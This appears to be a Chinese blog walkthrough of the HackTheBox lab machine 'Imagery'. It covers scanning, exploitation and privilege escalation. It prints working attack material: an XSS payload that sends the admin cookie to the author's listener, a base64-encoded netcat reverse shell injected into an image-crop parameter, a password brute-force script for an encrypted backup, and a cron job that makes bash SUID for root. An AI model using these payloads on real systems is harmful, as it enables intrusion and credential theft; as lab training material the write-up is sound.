HackTheBox-Imagery

一路望 跌跌撞 午夜流星何去何往
路海长 青夜旷 越过群山追斜阳


信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
./rustscan -a 10.129.23.190
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
Scanning ports faster than you can say 'SYN ACK'

[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 10.129.23.190:22
Open 10.129.23.190:8000
[~] Starting Script(s)
[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-11-19 19:11 EST
Initiating Ping Scan at 19:11
Scanning 10.129.23.190 [4 ports]
Completed Ping Scan at 19:11, 0.12s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 19:11
Completed Parallel DNS resolution of 1 host. at 19:11, 0.00s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 19:11
Scanning 10.129.23.190 [2 ports]
Discovered open port 22/tcp on 10.129.23.190
Discovered open port 8000/tcp on 10.129.23.190
Completed SYN Stealth Scan at 19:11, 0.20s elapsed (2 total ports)
Nmap scan report for 10.129.23.190
Host is up, received echo-reply ttl 63 (0.11s latency).
Scanned at 2025-11-19 19:11:44 EST for 0s

PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
8000/tcp open http-alt syn-ack ttl 63

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.43 seconds
Raw packets sent: 6 (240B) | Rcvd: 3 (116B)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
dirsearch -u http://10.129.23.190:8000/
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
from pkg_resources import DistributionNotFound, VersionConflict

_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/Desktop/reports/http_10.129.23.190_8000/__25-11-19_19-14-01.txt

Target: http://10.129.23.190:8000/

[19:14:01] Starting:
[19:15:04] 401 - 59B - /images
[19:15:09] 405 - 153B - /login
[19:15:10] 405 - 153B - /logout
[19:15:26] 405 - 153B - /register
[19:15:40] 401 - 32B - /uploads/affwp-debug.log
[19:15:40] 401 - 32B - /uploads/dump.sql

有两个人名,可能是已注册用户。

尝试上传恶意图片马。

失败。

GetWeb


注意到报告bug功能,尝试xss盗取管理员cookie。

1
<img src="x" onerror="this.src='http://10.10.14.2:4444/steal?cookie=' + encodeURIComponent(document.cookie)">
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
nc -lvvp 4444
listening on [any] 4444 ...
10.129.23.190: inverse host lookup failed: Unknown host
connect to [10.10.14.2] from (UNKNOWN) [10.129.23.190] 56356
GET /steal?cookie=session%3D.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aR5iPQ.84Jw6rHGvetua_XhsybyRrns4fU HTTP/1.1
Host: 10.10.14.2:4444
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/138.0.0.0 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Referer: http://0.0.0.0:8000/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

sent 0, rcvd 567

之后将cookie替换成功登录到管理员界面

注意到还有一个测试用户。

下载日志,但是日志内容里只有关于登录成功的信息。

经过测试,这里的下载功能是个LFI。

同时经过读取passwd知道了uid为1000的web用户

这里有一个特殊路径可以获取网站用户下的所有哈希。

解出测试用户的密码

成功登录为测试用户,测试用户可以对图片进行一系列的修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /apply_visual_transform HTTP/1.1
Host: 10.129.23.190:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://10.129.23.190:8000/
Content-Type: application/json
Content-Length: 119
Origin: http://10.129.23.190:8000
Connection: keep-alive
Cookie: session=.eJxNjTEOgzAMRe_iuWKjRZno2FNELjGJJWJQ7AwIcfeSAanjf_9J74DAui24fwI4oH5-xlca4AGs75BZwM24KLXtOW9UdBU0luiN1KpS-Tdu5nGa1ioGzkq9rsYEM12JWxk5Y6Syd8m-cP4Ay4kxcQ.aR5mqg.tM7gdyZY7GzCBeCqCL2LUrgKxoo
Priority: u=0
{"imageId":"2c3fad6b-0e18-4f72-bab0-5795cf332821","transformType":"crop","params":{"x":3,"y":6,"width":24,"height":24}}

经过测试,这里存在命令注入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /apply_visual_transform HTTP/1.1
Host: 10.129.23.190:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://10.129.23.190:8000/
Content-Type: application/json
Content-Length: 124
Origin: http://10.129.23.190:8000
Connection: keep-alive
Cookie: session=.eJxNjTEOgzAMRe_iuWKjRZno2FNELjGJJWJQ7AwIcfeSAanjf_9J74DAui24fwI4oH5-xlca4AGs75BZwM24KLXtOW9UdBU0luiN1KpS-Tdu5nGa1ioGzkq9rsYEM12JWxk5Y6Syd8m-cP4Ay4kxcQ.aR5mqg.tM7gdyZY7GzCBeCqCL2LUrgKxo
Priority: u=0
{"imageId":"e434c998-d7a2-4a95-8465-051761cf56df","transformType":"crop","params":{"x":";printf KHJtIC90bXAvXztta2ZpZm8gL3RtcC9fO2NhdCAvdG1wL198c2ggMj4mMXxuYyAxMC4xMC4xNC4yIDQ0NDQgPi90bXAvXykgJg==|base64 -d|sh;","y":0,"width":24,"height":24}}
────────────────────────────────────────────────────────────────────────────────
🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] Got reverse shell from Imagery-10.129.23.190-Linux-x86_64 😍 Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /home/web/web/env/bin/python3! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
[+] Logging to /root/.penelope/Imagery~10.129.23.190_Linux_x86_64/2025_11_19-20_09_13-910.log 📜
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
web@Imagery:~/web$ id
uid=1001(web) gid=1001(web) groups=1001(web)

GetMark


扒拉文件找到一个备份文件。

1
2
web@Imagery:/var/backup$ ls
web_20250806_120723.zip.aes

下载到自己的kali上,使用脚本爆破密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/env python3
import pyAesCrypt

wordlist = open('/usr/share/wordlists/rockyou.txt', 'rb')
infile = 'web_20250806_120723.zip.aes'
buffer = 64 * 1024

for line in wordlist:
password = line.strip().decode('utf-8', errors='ignore')
try:
pyAesCrypt.decryptFile(infile, 'output.zip', password, buffer)
print(f"[+] Password found: {password}")
break
except ValueError:
continue

密码为bestfriends

之后压缩包里有一个db.json,里面有mark的密码哈希

爆破得到密码

Root


1
2
3
4
5
6
7
mark@Imagery:~$ sudo -l
Matching Defaults entries for mark on Imagery:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User mark may run the following commands on Imagery:
(ALL) NOPASSWD: /usr/local/bin/charcol

这里要先把这个东西的密码重置了。

1
2
3
4
5
6
7
8
9
10
mark@Imagery:~$ sudo /usr/local/bin/charcol -R

Attempting to reset Charcol application password to default.
[2025-11-20 01:23:42] [INFO] System password verification required for this operation.
Enter system password for user 'mark' to confirm:

[2025-11-20 01:23:55] [INFO] System password verified successfully.
Removed existing config file: /root/.charcol/.charcol_config
Charcol application password has been reset to default (no password mode).
Please restart the application for changes to take effect.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
mark@Imagery:~$ sudo /usr/local/bin/charcol shell

░██████ ░██ ░██
░██ ░░██ ░██ ░██
░██ ░████████ ░██████ ░██░████ ░███████ ░███████ ░██
░██ ░██ ░██ ░██ ░███ ░██ ░██ ░██ ░██ ░██
░██ ░██ ░██ ░███████ ░██ ░██ ░██ ░██ ░██
░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██
░██████ ░██ ░██ ░█████░██ ░██ ░███████ ░███████ ░██



Charcol The Backup Suit - Development edition 1.0.0

[2025-11-20 01:25:43] [INFO] Entering Charcol interactive shell. Type 'help' for commands, 'exit' to quit.
charcol> help
[2025-11-20 01:25:49] [INFO]
Charcol Shell Commands:

Backup & Fetch:
backup -i <paths...> [-o <output_file>] [-p <file_password>] [-c <level>] [--type <archive_type>] [-e <patterns...>] [--no-timestamp] [-f] [--skip-symlinks] [--ask-password]
Purpose: Create an encrypted backup archive from specified files/directories.
Output: File will have a '.aes' extension if encrypted. Defaults to '/var/backup/'.
Naming: Automatically adds timestamp unless --no-timestamp is used. If no -o, uses input filename as base.
Permissions: Files created with 664 permissions. Ownership is user:group.
Encryption:
- If '--app-password' is set (status 1) and no '-p <file_password>' is given, uses the application password for encryption.
- If 'no password' mode is set (status 2) and no '-p <file_password>' is given, creates an UNENCRYPTED archive.
Examples:
- Encrypted with file-specific password:
backup -i /home/user/my_docs /var/log/nginx/access.log -o /tmp/web_logs -p <file_password> --verbose --type tar.gz -c 9
- Encrypted with app password (if status 1):
backup -i /home/user/example_file.json
- Unencrypted (if status 2 and no -p):
backup -i /home/user/example_file.json
- No timestamp:
backup -i /home/user/example_file.json --no-timestamp

fetch <url> [-o <output_file>] [-p <file_password>] [-f] [--ask-password]
Purpose: Download a file from a URL, encrypt it, and save it.
Output: File will have a '.aes' extension if encrypted. Defaults to '/var/backup/fetched_file'.
Permissions: Files created with 664 permissions. Ownership is current user:group.
Restrictions: Fetching from loopback addresses (e.g., localhost, 127.0.0.1) is blocked.
Encryption:
- If '--app-password' is set (status 1) and no '-p <file_password>' is given, uses the application password for encryption.
- If 'no password' mode is set (status 2) and no '-p <file_password>' is given, creates an UNENCRYPTED file.
Examples:
- Encrypted:
fetch <URL> -o <output_file_path> -p <file_password> --force
- Unencrypted (if status 2 and no -p):
fetch <URL> -o <output_file_path>

Integrity & Extraction:
list <encrypted_file> [-p <file_password>] [--ask-password]
Purpose: Decrypt and list contents of an encrypted Charcol archive.
Note: Requires the correct decryption password.
Supported Types: .zip.aes, .tar.gz.aes, .tar.bz2.aes.
Example:
list /var/backup/<encrypted_file_name>.zip.aes -p <file_password>

check <encrypted_file> [-p <file_password>] [--ask-password]
Purpose: Decrypt and verify the structural integrity of an encrypted Charcol archive.
Note: Requires the correct decryption password. This checks the archive format, not internal data consistency.
Supported Types: .zip.aes, .tar.gz.aes, .tar.bz2.aes.
Example:
check /var/backup/<encrypted_file_name>.tar.gz.aes -p <file_password>

extract <encrypted_file> <output_directory> [-p <file_password>] [--ask-password]
Purpose: Decrypt an encrypted Charcol archive and extract its contents.
Note: Requires the correct decryption password.
Example:
extract /var/backup/<encrypted_file_name>.zip.aes /tmp/restored_data -p <file_password>

Automated Jobs (Cron):
auto add --schedule "<cron_schedule>" --command "<shell_command>" --name "<job_name>" [--log-output <log_file>]
Purpose: Add a new automated cron job managed by Charcol.
Verification:
- If '--app-password' is set (status 1): Requires Charcol application password (via global --app-password flag).
- If 'no password' mode is set (status 2): Requires system password verification (in interactive shell).
Security Warning: Charcol does NOT validate the safety of the --command. Use absolute paths.
Examples:
- Status 1 (encrypted app password), cron:
CHARCOL_NON_INTERACTIVE=true charcol --app-password <app_password> auto add \
--schedule "0 2 * * *" --command "charcol backup -i /home/user/docs -p <file_password>" \
--name "Daily Docs Backup" --log-output <log_file_path>
- Status 2 (no app password), cron, unencrypted backup:
CHARCOL_NON_INTERACTIVE=true charcol auto add \
--schedule "0 2 * * *" --command "charcol backup -i /home/user/docs" \
--name "Daily Docs Backup" --log-output <log_file_path>
- Status 2 (no app password), interactive:
auto add --schedule "0 2 * * *" --command "charcol backup -i /home/user/docs" \
--name "Daily Docs Backup" --log-output <log_file_path>
(will prompt for system password)

auto list
Purpose: List all automated jobs managed by Charcol.
Example:
auto list

auto edit <job_id> [--schedule "<new_schedule>"] [--command "<new_command>"] [--name "<new_name>"] [--log-output <new_log_file>]
Purpose: Modify an existing Charcol-managed automated job.
Verification: Same as 'auto add'.
Example:
auto edit <job_id> --schedule "30 4 * * *" --name "Updated Backup Job"

auto delete <job_id>
Purpose: Remove an automated job managed by Charcol.
Verification: Same as 'auto add'.
Example:
auto delete <job_id>

Shell & Help:
shell
Purpose: Enter this interactive Charcol shell.
Example:
shell

exit
Purpose: Exit the Charcol shell.
Example:
exit

clear
Purpose: Clear the interactive shell screen.
Example:
clear

help [command]
Purpose: Show help for Charcol or a specific command.
Example:
help backup

Global Flags (apply to all commands unless overridden):
--app-password <password> : Provide the Charcol *application password* directly. Required for 'auto' commands if status 1. Less secure than interactive prompt.
-p, "--password" <password> : Provide the *file encryption/decryption password* directly. Overrides application password for file operations. Less secure than --ask-password.
-v, "--verbose" : Enable verbose output.
--quiet : Suppress informational output (show only warnings and errors).
--log-file <path> : Log all output to a specified file.
--dry-run : Simulate actions without actual file changes (for 'backup' and 'fetch').
--ask-password : Prompt for the *file encryption/decryption password* securely. Overrides -p and application password for file operations.
--no-banner : Do not display the ASCII banner.
-R, "--reset-password-to-default" : Reset application password to default (requires system password verification).

写一个定时任务chmod u+s就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
mark@Imagery:~$ sudo /usr/local/bin/charcol shell

░██████ ░██ ░██
░██ ░░██ ░██ ░██
░██ ░████████ ░██████ ░██░████ ░███████ ░███████ ░██
░██ ░██ ░██ ░██ ░███ ░██ ░██ ░██ ░██ ░██
░██ ░██ ░██ ░███████ ░██ ░██ ░██ ░██ ░██
░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██
░██████ ░██ ░██ ░█████░██ ░██ ░███████ ░███████ ░██



Charcol The Backup Suit - Development edition 1.0.0

[2025-11-20 01:30:30] [INFO] Entering Charcol interactive shell. Type 'help' for commands, 'exit' to quit.
charcol> auto add --schedule "asd" --command "chmod u+s /usr/bin/bash" --name "bash"
[2025-11-20 01:30:37] [INFO] System password verification required for this operation.
Enter system password for user 'mark' to confirm:

[2025-11-20 01:30:52] [INFO] System password verified successfully.
[2025-11-20 01:30:52] [INFO] Auto job 'suid_bash' (ID: e31900bc-bbcb-4c8b-aa6e-cc6738c22f22) added successfully. The job will run according to schedule.
[2025-11-20 01:30:52] [INFO] Cron line added: * * * * * CHARCOL_NON_INTERACTIVE=true chmod u+s /usr/bin/bash
charcol> exit
[2025-11-20 01:31:00] [INFO] Exiting Charcol shell.

1
2
3
4
mark@Imagery:~$ /usr/bin/bash -p
bash-5.2# id
uid=1002(mark) gid=1002(mark) euid=0(root) groups=1002(mark)


HackTheBox-Imagery
http://example.com/2025/11/20/HackTheBox-Imagery/
Author
Skyarrow
Posted on
November 20, 2025
Licensed under